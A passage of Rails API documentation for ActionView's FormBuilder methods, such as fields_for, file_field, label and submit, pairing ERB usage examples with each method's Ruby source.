+ +
+

+ + collection_check_boxes(method, collection, value_method, text_method, options = {}, html_options = {}, &block) + +

+ + +
+

Wraps ActionView::Helpers::FormOptionsHelper#collection_check_boxes for form builders:

+ +
<%= form_for @post do |f| %>
+  <%= f.collection_check_boxes :author_ids, Author.all, :id, :name_with_initial %>
+  <%= f.submit %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 908
+      def collection_check_boxes(method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+        @template.collection_check_boxes(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_html_options.merge(html_options), &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + collection_radio_buttons(method, collection, value_method, text_method, options = {}, html_options = {}, &block) + +

+ + +
+

Wraps ActionView::Helpers::FormOptionsHelper#collection_radio_buttons for form builders:

+ +
<%= form_for @post do |f| %>
+  <%= f.collection_radio_buttons :author_id, Author.all, :id, :name_with_initial %>
+  <%= f.submit %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 920
+      def collection_radio_buttons(method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+        @template.collection_radio_buttons(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_html_options.merge(html_options), &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + collection_select(method, collection, value_method, text_method, options = {}, html_options = {}) + +

+ + +
+

Wraps ActionView::Helpers::FormOptionsHelper#collection_select for form builders:

+ +
<%= form_for @post do |f| %>
+  <%= f.collection_select :person_id, Author.all, :id, :name_with_initial, prompt: true %>
+  <%= f.submit %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 860
+      def collection_select(method, collection, value_method, text_method, options = {}, html_options = {})
+        @template.collection_select(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_html_options.merge(html_options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + color_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#color_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.color_field :favorite_color %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + date_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#date_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.date_field :born_on %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + date_select(method, options = {}, html_options = {}) + +

+ + +
+

Wraps ActionView::Helpers::DateHelper#date_select for form builders:

+ +
<%= form_for @person do |f| %>
+  <%= f.date_select :birth_date %>
+  <%= f.submit %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 1237
+      def date_select(method, options = {}, html_options = {})
+        @template.date_select(@object_name, method, objectify_options(options), html_options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + datetime_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#datetime_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.datetime_field :graduation_day %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + datetime_local_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#datetime_local_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.datetime_local_field :graduation_day %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + datetime_select(method, options = {}, html_options = {}) + +

+ + +
+

Wraps ActionView::Helpers::DateHelper#datetime_select for form builders:

+ +
<%= form_for @person do |f| %>
+  <%= f.datetime_select :last_request_at %>
+  <%= f.submit %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 1261
+      def datetime_select(method, options = {}, html_options = {})
+        @template.datetime_select(@object_name, method, objectify_options(options), html_options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + email_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#email_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.email_field :address %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + field_id(method, *suffixes, namespace: @options[:namespace], index: @options[:index]) + +

+ + +
+

Generate an HTML id attribute value for the given field

+ +

Return the value generated by the FormBuilder for the given attribute name.

+ +
<%= form_with model: @article do |f| %>
+  <%= f.label :title %>
+  <%= f.text_field :title, aria: { describedby: f.field_id(:title, :error) } %>
+  <%= tag.span("is blank", id: f.field_id(:title, :error) %>
+<% end %>
+
+ +

In the example above, the <input type="text"> element built by the call to FormBuilder#text_field declares an aria-describedby attribute referencing the <span> element, sharing a common id root (article_title, in this case).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1774
+      def field_id(method, *suffixes, namespace: @options[:namespace], index: @options[:index])
+        @template.field_id(@object_name, method, *suffixes, namespace: namespace, index: index)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + field_name(method, *methods, multiple: false, index: @options[:index]) + +

+ + +
+

Generate an HTML name attribute value for the given name and field combination

+ +

Return the value generated by the FormBuilder for the given attribute name.

+ +
<%= form_with model: @article do |f| %>
+  <%= f.text_field :title, name: f.field_name(:title, :subtitle) %>
+  <%# => <input type="text" name="article[title][subtitle]"> %>
+<% end %>
+
+<%= form_with model: @article do |f| %>
+  <%= f.text_field :tag, name: f.field_name(:tag, multiple: true) %>
+  <%# => <input type="text" name="article[tag][]"> %>
+<% end %>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1794
+      def field_name(method, *methods, multiple: false, index: @options[:index])
+        object_name = @options.fetch(:as) { @object_name }
+
+        @template.field_name(object_name, method, *methods, index: index, multiple: multiple)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fields(scope = nil, model: nil, **options, &block) + +

+ + +
+

See the docs for the ActionView::Helpers::FormHelper#fields helper method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 2328
+      def fields(scope = nil, model: nil, **options, &block)
+        options[:allow_method_names_outside_object] = true
+        options[:skip_default_ids] = !FormHelper.form_with_generates_ids
+
+        convert_to_legacy_options(options)
+
+        fields_for(scope || model, model, options, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fields_for(record_name, record_object = nil, fields_options = nil, &block) + +

+ + +
+

Creates a scope around a specific model object like form_with, but doesn’t create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form.

+ +

Although the usage and purpose of fields_for is similar to form_withβ€˜s, its method signature is slightly different. Like form_with, it yields a FormBuilder object associated with a particular model object to a block, and within the block allows methods to be called on the builder to generate fields associated with the model object. Fields may reflect a model object in two ways - how they are named (hence how submitted values appear within the params hash in the controller) and what default values are shown when the form fields are first displayed. In order for both of these features to be specified independently, both an object name (represented by either a symbol or string) and the object itself can be passed to the method separately -

+ +
<%= form_with model: @person do |person_form| %>
+  First name: <%= person_form.text_field :first_name %>
+  Last name : <%= person_form.text_field :last_name %>
+
+  <%= fields_for :permission, @person.permission do |permission_fields| %>
+    Admin?  : <%= permission_fields.check_box :admin %>
+  <% end %>
+
+  <%= person_form.submit %>
+<% end %>
+
+ +

In this case, the checkbox field will be represented by an HTML input tag with the name attribute permission[admin], and the submitted value will appear in the controller as params[:permission][:admin]. If @person.permission is an existing record with an attribute admin, the initial state of the checkbox when first displayed will reflect the value of @person.permission.admin.

+ +

Often this can be simplified by passing just the name of the model object to fields_for -

+ +
<%= fields_for :permission do |permission_fields| %>
+  Admin?: <%= permission_fields.check_box :admin %>
+<% end %>
+
+ +

…in which case, if :permission also happens to be the name of an instance variable @permission, the initial state of the input field will reflect the value of that variable’s attribute @permission.admin.

+ +

Alternatively, you can pass just the model object itself (if the first argument isn’t a string or symbol fields_for will realize that the name has been omitted) -

+ +
<%= fields_for @person.permission do |permission_fields| %>
+  Admin?: <%= permission_fields.check_box :admin %>
+<% end %>
+
+ +

and fields_for will derive the required name of the field from the class of the model object, e.g. if @person.permission, is of class Permission, the field will still be named permission[admin].

+ +

Note: This also works for the methods in FormOptionsHelper and DateHelper that are designed to work with an object as base, like FormOptionsHelper#collection_select and DateHelper#datetime_select.

+ +

fields_for tries to be smart about parameters, but it can be confused if both name and value parameters are provided and the provided value has the shape of an option Hash. To remove the ambiguity, explicitly pass an option Hash, even if empty.

+ +
<%= form_with model: @person do |person_form| %>
+  ...
+  <%= fields_for :permission, @person.permission, {} do |permission_fields| %>
+    Admin?: <%= check_box_tag permission_fields.field_name(:admin), @person.permission[:admin] %>
+  <% end %>
+  ...
+<% end %>
+
+ +

Nested Attributes Examples

+ +

When the object belonging to the current scope has a nested attribute writer for a certain attribute, fields_for will yield a new scope for that attribute. This allows you to create forms that set or change the attributes of a parent object and its associations in one go.

+ +

Nested attribute writers are normal setter methods named after an association. The most common way of defining these writers is either with accepts_nested_attributes_for in a model definition or by defining a method with the proper name. For example: the attribute writer for the association :address is called address_attributes=.

+ +

Whether a one-to-one or one-to-many style form builder will be yielded depends on whether the normal reader method returns a single object or an array of objects.

+ +

One-to-one

+ +

Consider a Person class which returns a single Address from the address reader method and responds to the address_attributes= writer method:

+ +
class Person
+  def address
+    @address
+  end
+
+  def address_attributes=(attributes)
+    # Process the attributes hash
+  end
+end
+
+ +

This model can now be used with a nested fields_for, like so:

+ +
<%= form_with model: @person do |person_form| %>
+  ...
+  <%= person_form.fields_for :address do |address_fields| %>
+    Street  : <%= address_fields.text_field :street %>
+    Zip code: <%= address_fields.text_field :zip_code %>
+  <% end %>
+  ...
+<% end %>
+
+ +

When address is already an association on a Person you can use accepts_nested_attributes_for to define the writer method for you:

+ +
class Person < ActiveRecord::Base
+  has_one :address
+  accepts_nested_attributes_for :address
+end
+
+ +

If you want to destroy the associated model through the form, you have to enable it first using the :allow_destroy option for accepts_nested_attributes_for:

+ +
class Person < ActiveRecord::Base
+  has_one :address
+  accepts_nested_attributes_for :address, allow_destroy: true
+end
+
+ +

Now, when you use a form element with the _destroy parameter, with a value that evaluates to true, you will destroy the associated model (e.g. 1, β€˜1’, true, or β€˜true’):

+ +
<%= form_with model: @person do |person_form| %>
+  ...
+  <%= person_form.fields_for :address do |address_fields| %>
+    ...
+    Delete: <%= address_fields.check_box :_destroy %>
+  <% end %>
+  ...
+<% end %>
+
+ +

One-to-many

+ +

Consider a Person class which returns an array of Project instances from the projects reader method and responds to the projects_attributes= writer method:

+ +
class Person
+  def projects
+    [@project1, @project2]
+  end
+
+  def projects_attributes=(attributes)
+    # Process the attributes hash
+  end
+end
+
+ +

Note that the projects_attributes= writer method is in fact required for fields_for to correctly identify :projects as a collection, and the correct indices to be set in the form markup.

+ +

When projects is already an association on Person you can use accepts_nested_attributes_for to define the writer method for you:

+ +
class Person < ActiveRecord::Base
+  has_many :projects
+  accepts_nested_attributes_for :projects
+end
+
+ +

This model can now be used with a nested fields_for. The block given to the nested fields_for call will be repeated for each instance in the collection:

+ +
<%= form_with model: @person do |person_form| %>
+  ...
+  <%= person_form.fields_for :projects do |project_fields| %>
+    <% if project_fields.object.active? %>
+      Name: <%= project_fields.text_field :name %>
+    <% end %>
+  <% end %>
+  ...
+<% end %>
+
+ +

It’s also possible to specify the instance to be used:

+ +
<%= form_with model: @person do |person_form| %>
+  ...
+  <% @person.projects.each do |project| %>
+    <% if project.active? %>
+      <%= person_form.fields_for :projects, project do |project_fields| %>
+        Name: <%= project_fields.text_field :name %>
+      <% end %>
+    <% end %>
+  <% end %>
+  ...
+<% end %>
+
+ +

Or a collection to be used:

+ +
<%= form_with model: @person do |person_form| %>
+  ...
+  <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
+    Name: <%= project_fields.text_field :name %>
+  <% end %>
+  ...
+<% end %>
+
+ +

If you want to destroy any of the associated models through the form, you have to enable it first using the :allow_destroy option for accepts_nested_attributes_for:

+ +
class Person < ActiveRecord::Base
+  has_many :projects
+  accepts_nested_attributes_for :projects, allow_destroy: true
+end
+
+ +

This will allow you to specify which models to destroy in the attributes hash by adding a form element for the _destroy parameter with a value that evaluates to true (e.g. 1, β€˜1’, true, or β€˜true’):

+ +
<%= form_with model: @person do |person_form| %>
+  ...
+  <%= person_form.fields_for :projects do |project_fields| %>
+    Delete: <%= project_fields.check_box :_destroy %>
+  <% end %>
+  ...
+<% end %>
+
+ +

When a collection is used you might want to know the index of each object in the array. For this purpose, the index method is available in the FormBuilder object.

+ +
<%= form_with model: @person do |person_form| %>
+  ...
+  <%= person_form.fields_for :projects do |project_fields| %>
+    Project #<%= project_fields.index %>
+    ...
+  <% end %>
+  ...
+<% end %>
+
+ +

Note that fields_for will automatically generate a hidden field to store the ID of the record. There are circumstances where this hidden field is not needed and you can pass include_id: false to prevent fields_for from rendering it automatically.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 2290
+      def fields_for(record_name, record_object = nil, fields_options = nil, &block)
+        fields_options, record_object = record_object, nil if fields_options.nil? && record_object.is_a?(Hash) && record_object.extractable_options?
+        fields_options ||= {}
+        fields_options[:builder] ||= options[:builder]
+        fields_options[:namespace] = options[:namespace]
+        fields_options[:parent_builder] = self
+
+        case record_name
+        when String, Symbol
+          if nested_attributes_association?(record_name)
+            return fields_for_with_nested_attributes(record_name, record_object, fields_options, block)
+          end
+        else
+          record_object = @template._object_for_form_builder(record_name)
+          record_name   = model_name_from_record_or_class(record_object).param_key
+        end
+
+        object_name = @object_name
+        index = if options.has_key?(:index)
+          options[:index]
+        elsif defined?(@auto_index)
+          object_name = object_name.to_s.delete_suffix("[]")
+          @auto_index
+        end
+
+        record_name = if index
+          "#{object_name}[#{index}][#{record_name}]"
+        elsif record_name.end_with?("[]")
+          "#{object_name}[#{record_name[0..-3]}][#{record_object.id}]"
+        else
+          "#{object_name}[#{record_name}]"
+        end
+        fields_options[:child_index] = index
+
+        @template.fields_for(record_name, record_object, fields_options, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + file_field(method, options = {}) + +

+ + +
+

Returns a file upload input tag tailored for accessing a specified attribute (identified by method) on an object assigned to the template (identified by object). Additional options on the input tag can be passed as a hash with options. These options will be tagged onto the HTML as an HTML element attribute as in the example shown.

+ +

Using this method inside a form_with block will set the enclosing form’s encoding to multipart/form-data.

+ +

Options

+
  • +

    Creates standard HTML attributes for the tag.

    +
  • +

    :disabled - If set to true, the user will not be able to use this input.

    +
  • +

    :multiple - If set to true, *in most updated browsers* the user will be allowed to select multiple files.

    +
  • +

    :include_hidden - When multiple: true and include_hidden: true, the field will be prefixed with an <input type="hidden"> field with an empty value to support submitting an empty collection of files. Since include_hidden will default to config.active_storage.multiple_file_field_include_hidden if you don’t specify include_hidden, you will need to pass include_hidden: false to prevent submitting an empty collection of files when passing multiple: true.

    +
  • +

    :accept - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.

    +
+ +

Examples

+ +
# Let's say that @user has avatar:
+file_field(:avatar)
+# => <input type="file" id="user_avatar" name="user[avatar]" />
+
+# Let's say that @article has image:
+file_field(:image, :multiple => true)
+# => <input type="file" id="article_image" name="article[image][]" multiple="multiple" />
+
+# Let's say that @article has attached:
+file_field(:attached, accept: 'text/html')
+# => <input accept="text/html" type="file" id="article_attached" name="article[attached]" />
+
+# Let's say that @article has image:
+file_field(:image, accept: 'image/png,image/gif,image/jpeg')
+# => <input type="file" id="article_image" name="article[image]" accept="image/png,image/gif,image/jpeg" />
+
+# Let's say that @attachment has file:
+file_field(:file, class: 'file_input')
+# => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 2557
+      def file_field(method, options = {})
+        self.multipart = true
+        @template.file_field(@object_name, method, objectify_options(options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + grouped_collection_select(method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {}) + +

+ + +
+

Wraps ActionView::Helpers::FormOptionsHelper#grouped_collection_select for form builders:

+ +
<%= form_for @city do |f| %>
+  <%= f.grouped_collection_select :country_id, @continents, :countries, :name, :id, :name %>
+  <%= f.submit %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 872
+      def grouped_collection_select(method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
+        @template.grouped_collection_select(@object_name, method, collection, group_method, group_label_method, option_key_method, option_value_method, objectify_options(options), @default_html_options.merge(html_options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + hidden_field(method, options = {}) + +

+ + +
+

Returns a hidden input tag tailored for accessing a specified attribute (identified by method) on an object assigned to the template (identified by object). Additional options on the input tag can be passed as a hash with options. These options will be tagged onto the HTML as an HTML element attribute as in the example shown.

+ +

Examples

+ +
# Let's say that @signup.pass_confirm returns true:
+hidden_field(:pass_confirm)
+# => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="true" />
+
+# Let's say that @article.tag_list returns "blog, ruby":
+hidden_field(:tag_list)
+# => <input type="hidden" id="article_tag_list" name="article[tag_list]" value="blog, ruby" />
+
+# Let's say that @user.token returns "abcde":
+hidden_field(:token)
+# => <input type="hidden" id="user_token" name="user[token]" value="abcde" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 2518
+      def hidden_field(method, options = {})
+        @emitted_hidden_id = true if method == :id
+        @template.hidden_field(@object_name, method, objectify_options(options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + id() + +

+ + +
+

Generate an HTML id attribute value.

+ +

return the <form> element’s id attribute.

+ +
<%= form_with model: @article do |f| %>
+  <%# ... %>
+
+  <% content_for :sticky_footer do %>
+    <%= form.button(form: f.id) %>
+  <% end %>
+<% end %>
+
+ +

In the example above, the :sticky_footer content area will exist outside of the <form> element. By declaring the form HTML attribute, we hint to the browser that the generated <button> element should be treated as the <form> element’s submit button, regardless of where it exists in the DOM.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1754
+      def id
+        options.dig(:html, :id) || options[:id]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + label(method, text = nil, options = {}, &block) + +

+ + +
+

Returns a label tag tailored for labelling an input field for a specified attribute (identified by method) on an object assigned to the template (identified by object). The text of label will default to the attribute name unless a translation is found in the current I18n locale (through helpers.label.<modelname>.<attribute>) or you specify it explicitly. Additional options on the label tag can be passed as a hash with options. These options will be tagged onto the HTML as an HTML element attribute as in the example shown, except for the :value option, which is designed to target labels for radio_button tags (where the value is used in the ID of the input tag).

+ +

Examples

+ +
label(:title)
+# => <label for="article_title">Title</label>
+
+ +

You can localize your labels based on model and attribute names. For example you can define the following in your locale (e.g. en.yml)

+ +
helpers:
+  label:
+    article:
+      body: "Write your entire text here"
+
+ +

Which then will result in

+ +
label(:body)
+# => <label for="article_body">Write your entire text here</label>
+
+ +

Localization can also be based purely on the translation of the attribute-name (if you are using ActiveRecord):

+ +
activerecord:
+  attributes:
+    article:
+      cost: "Total cost"
+
+ +

+ +
label(:cost)
+# => <label for="article_cost">Total cost</label>
+
+label(:title, "A short title")
+# => <label for="article_title">A short title</label>
+
+label(:title, "A short title", class: "title_label")
+# => <label for="article_title" class="title_label">A short title</label>
+
+label(:privacy, "Public Article", value: "public")
+# => <label for="article_privacy_public">Public Article</label>
+
+label(:cost) do |translation|
+  content_tag(:span, translation, class: "cost_label")
+end
+# => <label for="article_cost"><span class="cost_label">Total cost</span></label>
+
+label(:cost) do |builder|
+  content_tag(:span, builder.translation, class: "cost_label")
+end
+# => <label for="article_cost"><span class="cost_label">Total cost</span></label>
+
+label(:cost) do |builder|
+  content_tag(:span, builder.translation, class: [
+    "cost_label",
+    ("error_label" if builder.object.errors.include?(:cost))
+  ])
+end
+# => <label for="article_cost"><span class="cost_label error_label">Total cost</span></label>
+
+label(:terms) do
+  raw('Accept <a href="/terms">Terms</a>.')
+end
+# => <label for="article_terms">Accept <a href="/terms">Terms</a>.</label>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 2405
+      def label(method, text = nil, options = {}, &block)
+        @template.label(@object_name, method, text, objectify_options(options), &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + month_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#month_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.month_field :birthday_month %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + multipart=(multipart) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1697
+      def multipart=(multipart)
+        @multipart = multipart
+
+        if parent_builder = @options[:parent_builder]
+          parent_builder.multipart = multipart
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + number_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#number_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.number_field :age %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + password_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#password_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.password_field :password %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + phone_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#phone_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.phone_field :phone %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + radio_button(method, tag_value, options = {}) + +

+ + +
+

Returns a radio button tag for accessing a specified attribute (identified by method) on an object assigned to the template (identified by object). If the current value of method is tag_value the radio button will be checked.

+ +

To force the radio button to be checked pass checked: true in the options hash. You may pass HTML options there as well.

+ +
# Let's say that @article.category returns "rails":
+radio_button("category", "rails")
+radio_button("category", "java")
+# => <input type="radio" id="article_category_rails" name="article[category]" value="rails" checked="checked" />
+#    <input type="radio" id="article_category_java" name="article[category]" value="java" />
+
+# Let's say that @user.receive_newsletter returns "no":
+radio_button("receive_newsletter", "yes")
+radio_button("receive_newsletter", "no")
+# => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
+#    <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 2496
+      def radio_button(method, tag_value, options = {})
+        @template.radio_button(@object_name, method, tag_value, objectify_options(options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + range_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#range_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.range_field :age %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + rich_text_area(method, options = {}) + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#rich_text_area for form builders:

+ +
<%= form_with model: @message do |f| %>
+  <%= f.rich_text_area :content %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/app/helpers/action_text/tag_helper.rb, line 99
+    def rich_text_area(method, options = {})
+      @template.rich_text_area(@object_name, method, objectify_options(options))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + search_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#search_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.search_field :name %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + select(method, choices = nil, options = {}, html_options = {}, &block) + +

+ + +
+

Wraps ActionView::Helpers::FormOptionsHelper#select for form builders:

+ +
<%= form_for @post do |f| %>
+  <%= f.select :person_id, Person.all.collect { |p| [ p.name, p.id ] }, include_blank: true %>
+  <%= f.submit %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 848
+      def select(method, choices = nil, options = {}, html_options = {}, &block)
+        @template.select(@object_name, method, choices, objectify_options(options), @default_html_options.merge(html_options), &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + submit(value = nil, options = {}) + +

+ + +
+

Add the submit button for the given form. When no value is given, it checks if the object is a new resource or not to create the proper label:

+ +
<%= form_with model: @article do |f| %>
+  <%= f.submit %>
+<% end %>
+
+ +

In the example above, if @article is a new record, it will use β€œCreate Article” as submit button label; otherwise, it uses β€œUpdate Article”.

+ +

Those labels can be customized using I18n under the helpers.submit key and using %{model} for translation interpolation:

+ +
en:
+  helpers:
+    submit:
+      create: "Create a %{model}"
+      update: "Confirm changes to %{model}"
+
+ +

It also searches for a key specific to the given object:

+ +
en:
+  helpers:
+    submit:
+      article:
+        create: "Add %{model}"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 2589
+      def submit(value = nil, options = {})
+        value, options = nil, value if value.is_a?(Hash)
+        value ||= submit_default_value
+        @template.submit_tag(value, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + telephone_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#telephone_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.telephone_field :phone %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + text_area(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#text_area for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.text_area :detail %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + text_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#text_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.text_field :name %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + time_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#time_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.time_field :born_at %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + time_select(method, options = {}, html_options = {}) + +

+ + +
+

Wraps ActionView::Helpers::DateHelper#time_select for form builders:

+ +
<%= form_for @race do |f| %>
+  <%= f.time_select :average_lap %>
+  <%= f.submit %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 1249
+      def time_select(method, options = {}, html_options = {})
+        @template.time_select(@object_name, method, objectify_options(options), html_options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + time_zone_select(method, priority_zones = nil, options = {}, html_options = {}) + +

+ + +
+

Wraps ActionView::Helpers::FormOptionsHelper#time_zone_select for form builders:

+ +
<%= form_for @user do |f| %>
+  <%= f.time_zone_select :time_zone, nil, include_blank: true %>
+  <%= f.submit %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 884
+      def time_zone_select(method, priority_zones = nil, options = {}, html_options = {})
+        @template.time_zone_select(@object_name, method, priority_zones, objectify_options(options), @default_html_options.merge(html_options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_model() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1713
+      def to_model
+        self
+      end
